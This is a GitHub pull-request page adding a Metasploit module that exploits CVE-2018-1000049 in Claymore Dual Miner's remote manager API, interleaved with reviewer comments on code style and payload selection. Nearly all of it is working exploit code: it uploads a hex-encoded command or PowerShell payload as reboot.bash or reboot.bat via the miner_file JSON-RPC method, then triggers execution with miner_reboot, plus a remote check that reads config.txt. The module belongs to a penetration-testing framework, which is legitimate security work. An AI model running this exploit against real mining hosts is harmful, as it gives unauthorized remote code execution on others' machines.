Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit: claymore_dual_miner_remote_manager_rce #10064

Merged
157 changes: 157 additions & 0 deletions modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Nanopool Claymore Dual Miner APIs RCE',
'Description' => %q{
This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.
},
'Author' =>
[
'reversebrain@snado', # Vulnerability reporter
'phra@snado' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '44638'],
['CVE', '2018-1000049'],
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X64
}
],
[ 'Windows',
{
'Platform' => 'windows',
'Arch' => ARCH_X64
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DisclosureDate' => 'Feb 09 2018',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
])
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
end

def execute_command(cmd, opts = {})
case target['Platform']
when 'linux'
cmd = Rex::Text.to_hex(cmd, '')
when 'windows'
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
end
case target['Platform']
when 'linux'
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bash', "#{cmd}"]
}.to_json
when 'windows'
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bat', "#{cmd}"]
}.to_json
end
begin
connect
sock.put(upload)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
print_error(e)
ensure
disconnect
end
trigger_vulnerability
end

def trigger_vulnerability
execute = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_reboot'
}.to_json
connect
sock.put(execute)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
print_error(e)
ensure
disconnect
end

def exploit
case target['Platform']
when 'linux'
execute_cmdstager
when 'windows'
execute_cmdstager(linemax: 20000)
end
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rather than wrap the entire method in a begin statement, you can use the rescue-from-method approach.

The check statements should only vprint_* rather than print_*.

A refactored method would look like:

  def check
    data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'

    connect
    sock.put(data)
    buf = sock.get_once || ''
    tmp = StringIO.new
    tmp << buf
    tmp2 = tmp.string
    hex = ''
    case target['Platform']
    when 'linux'
      hex = tmp2.scan(/\w+/)[5]
    when 'windows'
      hex = tmp2.scan(/\w+/)[7]
    end
    if not hex
      return CheckCode::Safe
    end
    str = hex_to_bin(hex)
    if str.include?('WARNING')
      return CheckCode::Vulnerable
    else
      return CheckCode::Detected
    end
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    vprint_error("Connection failed: #{e.message}")
    return CheckCode::Unknown
  ensure
    disconnect
  end

data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
case target['Platform']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice if the check operated independently to the configured target.

The default target is 0 (linux) which means a user could run the check method against a remote vulnerable Windows host and receive a Detected response. It might not be obvious to the operator that they can set target 1 to get a more accurate result.

Additionally, if you wanted, you could probably implement fully automatic exploitation using the discrepancy in response from the server to set the appropriate target.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bcoles i've fixed the hardcoded strings, thanks. for the automatic check without setting the target i have an idea about how to do it, but for the exploitation i don't know how to get the right payload.. (at the moment i'm selecting the payload in the options). in case of a universal exploit should i only use the payload generic/shell_reverse_tcp or the is a way to retrieve the correct meterpreter payload? thanks.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's late here. I'll reply in more detail tomorrow. The short answer is no.

There's two main approaches.

One is to generate_payload_exe and catch the exception when target.platform != payload.platform.

The other approach is performing a string comparison on the target name and payload platform, and bailing if there's an inconsistency.

There's a few other modules you can look at. The modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb module is a local exploit, so slightly different, but the principle is the same.

Here's the relevant code segment. This approach isn't ideal. There's probably a cleaner example somewhere in the framework.

    # Set target
    uname = cmd_exec 'uname'
    vprint_status "Operating system is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when /SunOS/i
        my_target = targets[1]
      when /Linux/i
        my_target = targets[2]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    # Check payload
    if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
       (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
      fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
    end

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Another option - perhaps the best option - would be to make use of exploit_regenerate_payload (aka regenerate_payload). You may need to include the Msf::Exploit::EXE mixin.

Something like this:

     arch = target.arch                                                                                      
     plat = [Msf::Module::PlatformList.new(target['Platform']).platforms.first]

     if (p = regenerate_payload(plat, arch)) == nil
       print_error 'Failed to regenerate payload'
       return
     end

There are a bunch of examples in modules/exploits/multi/http/. You can find the source for regenerate_payload in lib/msf/core/exploit.rb.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i will have a look, thanks.

when 'linux'
hex = tmp2.scan(/\w+/)[5]
when 'windows'
hex = tmp2.scan(/\w+/)[7]
end
if not hex
return Exploit::CheckCode::Safe
end
str = Rex::Text.hex_to_raw(hex)
if str.include?('WARNING')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Detected
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error(e)
return Exploit::CheckCode::Unknown
ensure
disconnect
end
end